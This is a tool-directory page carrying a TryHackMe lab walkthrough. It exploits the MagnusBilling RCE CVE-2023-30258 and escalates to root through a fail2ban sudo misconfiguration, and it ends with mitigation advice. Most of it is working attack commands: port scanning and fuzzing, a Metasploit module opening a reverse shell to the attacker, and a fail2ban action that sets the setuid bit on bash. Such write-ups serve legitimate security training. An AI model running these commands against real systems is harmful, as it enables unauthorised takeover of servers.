Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
THM-MagnusBilling-CVE-2023-30258-Exploit — Step-by-step walkthrough exploiting CVE-2023-30258 (MagnusBilling RCE) and escalating privileges via fail2ban misconfiguration on a TryHackMe lab. Demonstrates web enumeration, Metasploit exploitation, and Linux privilege escalation. | Kitploit
Tools/GitHubGitHub/cyb3rk0ala/thm-magnusbilling-cve-2023-30258-exploit
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Labs & Practice
GitHubcyb3rk0ala/thm-magnusbilling-cve-2023-30258-exploit

THM-MagnusBilling-CVE-2023-30258-Exploit

Step-by-step walkthrough exploiting CVE-2023-30258 (MagnusBilling RCE) and escalating privileges via fail2ban misconfiguration on a TryHackMe lab. Demonstrates web enumeration, Metasploit exploitation, and Linux privilege escalation.

View Repository
11 month agoNot yet reviewed

THM-MagnusBilling-CVE-2023-30258

⸻

🛡️ MagnusBilling RCE → Root (CVE-2023-30258)

📌 Overview • Target: 10.145.148.203 • Platform: TryHackMe • Vulnerability: CVE-2023-30258 • Access: Unauthenticated Remote Code Execution (RCE) • Privilege Escalation: fail2ban misconfiguration • Final Access: Root

⸻

🔍 1. Reconnaissance

Port Scan

rustscan -a 10.145.148.203

📊 Open Ports

Port Service 22 SSH 80 HTTP 3306 MySQL 5038 Asterisk Screenshot 2026-04-08 at 22 09 15

The presence of Asterisk hints at a VoIP/billing system.

⸻

🌐 2. Web Enumeration

Directory Fuzzing

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c

📁 Findings: • /archive • /assets • /lib • /tmp • /protected

The /mbilling path is identified as a potential attack vector. Screenshot 2026-04-08 at 22 06 08

⸻

🚨 3. Vulnerability Identification

CVE-2023-30258

MagnusBilling is vulnerable to: • Unauthenticated Remote Code Execution (RCE) • Command Injection • Full system compromise

⸻

💣 4. Exploitation (Metasploit)

msfconsole

search CVE:2023-30258

use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

set RHOSTS 10.145.148.203 set LHOST tun0 set LPORT 4444 run Screenshot 2026-04-08 at 22 03 12 Screenshot 2026-04-08 at 22 03 39

⸻

🎯 Result

meterpreter session opened

sysinfo

OS: Linux Debian User: asterisk

Screenshot 2026-04-08 at 22 04 03

⸻

🔐 5. Initial Access

shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

whoami

asterisk

⸻

🏁 6. User Flag

cd /home/magnus cat user.txt

⸻

🔎 7. Privilege Escalation

Check sudo

sudo -l

(ALL) NOPASSWD: /usr/bin/fail2ban-client

Critical misconfiguration detected!

Screenshot 2026-04-08 at 22 22 42

⸻

💣 8. Exploiting Fail2Ban

Add a malicious action

sudo fail2ban-client set mbilling_login addaction evil

sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"

sudo fail2ban-client set mbilling_login banip 127.0.0.1

Screenshot 2026-04-08 at 22 05 14

⸻

🚀 9. Root Access

/bin/bash -p

id

euid=0(root)

Initially whoami returned asterisk. Using bash -p escalates to root.

Screenshot 2026-04-08 at 22 05 40

⸻

👑 10. Root Flag

cat /root/root.txt

⸻

🧠 11. Key Takeaways • CVE exploitation provided easy initial access • Web enumeration is critical (ffuf identified /mbilling) • Misconfigured sudo can lead to full system compromise • fail2ban can be abused for privilege escalation

⸻

🛡️ 12. Mitigation • Update MagnusBilling to the latest version • Remove NOPASSWD from sudo configuration • Restrict access to fail2ban-client • Harden web applications and endpoints

⸻

💀 Conclusion

This machine demonstrates a realistic attack chain:

Web RCE → Shell → Privilege Escalation → Root

A combination of vulnerability + misconfiguration led to full system compromise.

Download Tool